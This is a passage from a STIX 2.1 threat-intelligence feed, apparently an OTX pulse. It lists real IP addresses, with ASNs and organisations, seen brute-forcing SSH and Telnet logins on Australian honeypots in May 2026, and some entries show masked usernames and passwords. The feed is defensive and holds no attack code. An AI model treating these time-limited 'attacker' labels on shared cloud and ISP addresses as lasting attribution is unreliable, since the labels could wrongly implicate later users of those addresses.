      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.75.183.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 5***************O, h******!, r********6.",
      "id": "indicator--2b9a22fe-4786-40e6-b831-24943673d530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.55.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--b2f3f0d7-8c45-458d-917a-64da8ed4aecc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.80.205.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, A******6, c********o.",
      "id": "indicator--7a4c0412-b6d5-4ad2-a2c3-48cd8978286f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.41.129.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e3c6c2dd-c446-4d2e-92c8-16e5ca18c1b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.42.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--212e23c4-91af-4cd7-a504-df55beda3f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.97.186.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): ***. Passwords observed (masked): *.",
      "id": "indicator--f770a204-5cbe-4646-9f90-9fe2ea14c9ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.214.75.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--852c8ebe-eeeb-4f80-b1c3-aff642f22970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.70.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--60d7f5c8-c215-42bd-ad70-4b035a4fdc7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.99.247.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133775. Organisation(s): Xiamen.",
      "id": "indicator--680be51c-0633-40e7-8ef6-0eb50d3b2237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.188.45.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--92ff04ab-3609-4760-9793-9da9a52fb2e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 12926. Organisation(s): AR TELECOM - Acessos e Redes de Telecomunicacoes, S.A..",
      "id": "indicator--a719ec65-2136-4144-9ed2-56836d268900",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.63.236.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ca797426-8d4c-4990-bf96-3336ff13fd23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.175.87.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 273063. Organisation(s): DAHMER MARIANO ROBERTO ADRIANO.",
      "id": "indicator--32c16150-7d24-4084-91b9-dfbe6b31e635",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.191.34.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 64445. Organisation(s): NetJoin srl.",
      "id": "indicator--68b08bc1-caad-449c-8661-cd547ce84586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.86.144.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 630. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f048fa46-be97-4d0d-bf2a-84b0075f5bb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.189.172.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, a***n, 3**********4, ***, ***. Passwords observed (masked): !****^, 1****3, 1***5, 1******x, 3****9.",
      "id": "indicator--78b0c3cc-6203-4987-b1a6-fa7070b80c64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.129.139.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 210259. Organisation(s): LLC Applied Computational Technologies.",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 52148. Organisation(s): Enix Ltd.",
      "id": "indicator--4bf007a7-a53d-43c4-acf3-d64346927af3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.204.208.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--171b2d35-ac77-47bb-baec-70f1712f184d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.60.183.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--eff5e603-ad67-4f77-ab1c-e8deb725e2b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.184.103.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:15:10.000Z",
      "valid_until": "2026-06-05T17:15:08.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--87b1e8f2-59cf-4cfb-8bfb-07ee2f6147e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.72.129.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263390. Organisation(s): FNT Telecomunicacoes e Acesso a Redes de Internet.",
      "id": "indicator--820d6efb-b0d2-4c80-b9a2-fe32bf2244f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.222.180.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--98d72f5e-f8bc-43ea-859d-f73ac448a5bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.176.112.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--55d439d4-3ae5-4487-baf7-050d4ea22f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.253.59.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--252b850b-9fb2-4452-8bc8-2065961dccfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.208.155.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 366. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 205275. Organisation(s): ROMARG SRL.",
      "id": "indicator--12c00c2f-c6c3-451a-a5d9-1f8cd8cd207b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.44.137.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 43612. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--80c4b796-8722-468e-95e5-e4252b17f0e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.53.17.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T18:15:05.000Z",
      "valid_until": "2026-06-05T18:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
      "id": "indicator--f0304341-8c31-41b2-a229-5003eaf398e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.72.9.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5e10b31c-55e9-4250-8125-17ffa07aa598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.115.64.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--b55e653e-06a9-422d-ab92-f25613c45e5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.225.181.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--6e3dae91-7810-48ac-ad20-ccf7d1b9b79d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.167.188.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--2d654b05-c180-46ce-b678-6ee2335a7f7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.184.50.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 48323. Organisation(s): PP Neiron Systems.",
      "id": "indicator--fa6232c8-8c46-415f-bf7c-182425aaa3c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.134.107.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a741d021-27f8-4bac-b179-9b87787d6c5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.32.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--6a840a9c-66dd-4216-a4e2-836edd7ef389",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.47.74.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
